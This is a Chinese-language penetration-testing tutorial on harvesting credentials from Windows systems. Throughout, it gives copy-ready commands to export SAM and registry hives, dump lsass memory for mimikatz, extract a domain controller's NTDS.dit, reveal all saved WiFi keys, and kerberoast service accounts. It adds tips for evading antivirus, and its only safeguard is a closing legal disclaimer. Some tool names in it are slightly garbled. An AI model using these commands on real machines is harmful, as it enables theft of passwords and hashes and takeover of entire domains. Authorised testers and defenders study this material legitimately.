内网渗透-获取明文和hash
字数 1121 2025-08-09 13:33:47
内网渗透中获取明文密码和Hash的全面指南
1. 利用secretsdump获取明文密码
SAM简介
- SAM(安全账户管理器)是Windows系统中存储用户密码的数据库文件
- 存储的是经过算法处理的Hash值,包括LM Hash(已废弃)和NTLM Hash(32位字母数字组成)
- 现代系统使用NTLM Hash形式保存凭证,并使用SYSKEY加密
操作步骤
-
使用注册表命令导出关键文件:
reg save hklm\sam C:\sam.save reg save hklm\security C:\security.save reg save hklm\system C:\system.save -
将文件拷贝到本地分析环境
-
使用impacket的secretsdump脚本解析:
secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL
优势:无需在目标主机上传文件,绕过防护软件
2. 利用Procdump+mimikatz获取Hash与明文
操作流程
-
使用微软官方工具Procdump导出lsass.exe内存:
procdump -accepteula -ma lsass.exe lsass.dmp -
将lsass.dmp导出到本地
-
使用mimikatz解析:
privilege::debug sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full
优势:Procdump是微软官方工具,不易被杀软检测
3. NTDS.dit获取域控Hash
关键概念
- NTDS.dit包含域中所有账号密码的Hash
- 获取该文件相当于获得整个域权限
操作步骤
-
手动导出NTDS.dit和System文件:
ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q -
使用NTDSDumpEx提取Hash:
NTDSDumpEx -d ntds.dit -s system -o domain.txt
注意:此方法仅对域控制器(DC)有效
4. 利用系统命令获取WIFI密码
单WIFI密码获取
netsh wlan show profile name="WIFI名称" key=clear
获取所有连接过的WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
优势:使用系统自带命令,无杀软风险
5. 利用WCE获取Hash
Quarks PwDump使用
-
本地Hash获取:
QuarksPwDump -dhl -
域内Hash获取:
QuarksPwDump -dhdc
注意:需要PowerShell环境,可能被杀软检测
6. 利用kerberoast+mimikatz获取明文密码
SPN概念
- 服务主体名(SPN)是Kerberos身份验证网络中服务的唯一标识符
- 每个使用Kerberos的服务都需要注册SPN
操作步骤
-
查看域内SPN:
setspn -T 域名 -Q */*或查找特定服务:
Setspn -q */* | findstr "MSSQL" -
使用mimikatz导出票据:
kerberos::list /export -
使用kerberoast工具爆破密码
缺点:
- 需要PowerShell环境
- mimikatz容易被杀软检测
总结与注意事项
-
工具选择原则:
- 优先使用系统自带命令(reg, netsh等)
- 次选微软官方工具(如Procdump)
- 最后考虑第三方工具(mimikatz等)
-
免杀策略:
- 尽量在本地分析导出文件
- 避免在目标机直接运行敏感工具
- 使用合法签名工具(如微软官方工具)
-
域渗透重点:
- NTDS.dit是域渗透的核心目标
- SPN扫描可发现重要服务主机
-
环境要求:
- 部分工具需要Python环境(secretsdump, kerberoast)
- 注意工具版本(32/64位)
-
法律与道德:
- 所有技术仅用于合法授权测试
- 未经授权使用这些技术可能违法